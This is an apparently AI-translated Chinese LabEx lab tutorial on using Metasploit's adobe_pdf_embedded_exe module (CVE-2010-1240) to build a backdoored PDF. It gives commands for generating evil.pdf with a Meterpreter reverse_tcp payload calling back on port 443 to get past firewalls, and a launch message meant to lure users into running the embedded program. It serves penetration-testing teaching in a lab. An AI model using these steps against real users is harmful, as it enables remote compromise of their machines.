创建带有 Windows 后门的 PDF 文件

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在本实验中,我们将探索如何利用 Adobe PDF 中的嵌入式模块漏洞来注入一个 Windows 后门。实验过程涉及将包含后门的 PDF 文件传输到 Windows 主机,当用户使用 Adobe Reader 打开该 PDF 文件时,目标 Windows 系统将被感染。

LabEx 提供的实验环境缺少 Windows 虚拟机,因此我们无法验证攻击的有效性。实验过程仅展示如何嵌入后门程序。

此外,你无需在本实验中启动目标机器。你只需启动 Kali Linux 环境,成功创建的 PDF 文件将放置在 Kali 主机的 /root/ 目录中。

启动 Metasploit Framework 控制台

现在你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要1-3分钟。

  1. 通过 ping 测试与目标机的连通性:
ping 192.168.122.102

Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102

Ctrl+C 停止 ping。

现在攻击机和目标机都已启动,你可以开始渗透测试。

注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 以启动一个新的 Kali 容器并进入 bash 以继续实验。

在 Kali Linux 容器中,在 Kali Linux bash 终端中输入以下命令:

service postgresql start
msfdb init
cd ~
msfconsole

这将启动 PostgreSQL 数据库服务,初始化数据库,并启动 Metasploit Framework 控制台(msfconsole)以进行后续操作。

使用 Exploit 模块

msfconsole 中,执行以下命令以使用 exploit 模块:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

这将加载 adobe_pdf_embedded_exe exploit 模块,该模块允许我们将一个可执行 payload 嵌入到 PDF 文件中。

使用 show options 命令查看 exploit 模块的可配置选项:

show options

这将显示可用的选项,例如:

  • EXENAME: 要嵌入到 PDF 中的可执行文件的路径。
  • FILENAME: 输出 PDF 文件的名称(默认:evil.pdf)。
  • INFILENAME: 输入 PDF 文件的完整路径(默认:内置的 PDF 文件)。
  • LAUNCH_MESSAGE: 用于诱使用户执行嵌入的可执行文件的提示信息。

你可以保留大多数选项的默认值,但你可能需要设置 INFILENAME 选项以指定要感染的输入 PDF 文件的路径。

配置完选项后,使用 exploit 命令执行攻击:

exploit

这将把 payload 嵌入到指定的输入 PDF 文件中,并生成一个包含嵌入可执行文件的新 PDF 文件。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

检查输出

执行 exploit 后,生成的包含恶意 payload 的 PDF 文件将位于 /root/.msf4/local/evil.pdf。你可以退出 msfconsole 并检查该文件:

ls -l /root/.msf4/local/evil.pdf

你应该会观察到文件大小的增加,这表明嵌入了可执行文件。当打开 PDF 文件时,它将显示配置的启动消息,提示用户点击并执行嵌入的程序。

设置自定义 Payload

为了使感染的 PDF 文件更具价值,我们可以为其设置一个自定义 payload。

重新进入 msfconsole

cd ~
msfconsole

msfconsole 中,按照之前的步骤选择攻击模块:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

这次,我们将使用 windows/meterpreter/reverse_tcp payload,这是一个 Meterpreter 后门,它可以从被攻陷的主机建立 TCP 连接返回到攻击者的机器,从而允许直接访问被攻陷的系统。如果需要,你可以使用 show payloads 命令查看并选择其他 payload。

设置 windows/meterpreter/reverse_tcp payload:

set payload windows/meterpreter/reverse_tcp

通过指定你的 Kali 主机的 IP 地址和端口来配置 payload,以接收传入的连接。确保目标主机可以连接到你的 Kali 主机:

set lhost 192.168.122.1

使用端口 443 可以帮助绕过一些防火墙:

set lport 443

然后使用 exploit 命令生成恶意 PDF 文件:

exploit

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

再次检查输出

检查生成的 PDF 文件的大小:

ls -l /root/.msf4/local/evil.pdf

你应该会注意到文件大小比默认 payload 更小,因为 windows/meterpreter/reverse_tcp payload 更加紧凑。

总结

在本实验中,我们学习了如何利用 Adobe Reader 漏洞(CVE-2010-1240),该漏洞未能验证 PDF 文件中的嵌入内容。通过将后门程序嵌入到 PDF 文件中并诱使用户执行它,我们可以获得对目标 Windows 主机的访问权限。本实验涵盖的关键点包括:

  • 基本的 Linux 命令
  • Metasploit Framework 控制台操作
  • Adobe PDF 嵌入 EXE 漏洞(CVE-2010-1240)简介
  • 如何利用漏洞并嵌入后门程序

本实验提供了创建带有嵌入 payload 的恶意 PDF 文件、配置不同选项以及理解不同 payload 对文件大小影响的实践经验。这些知识对于理解和缓解现实场景中的此类攻击非常有用。

您可能感兴趣的其他 教程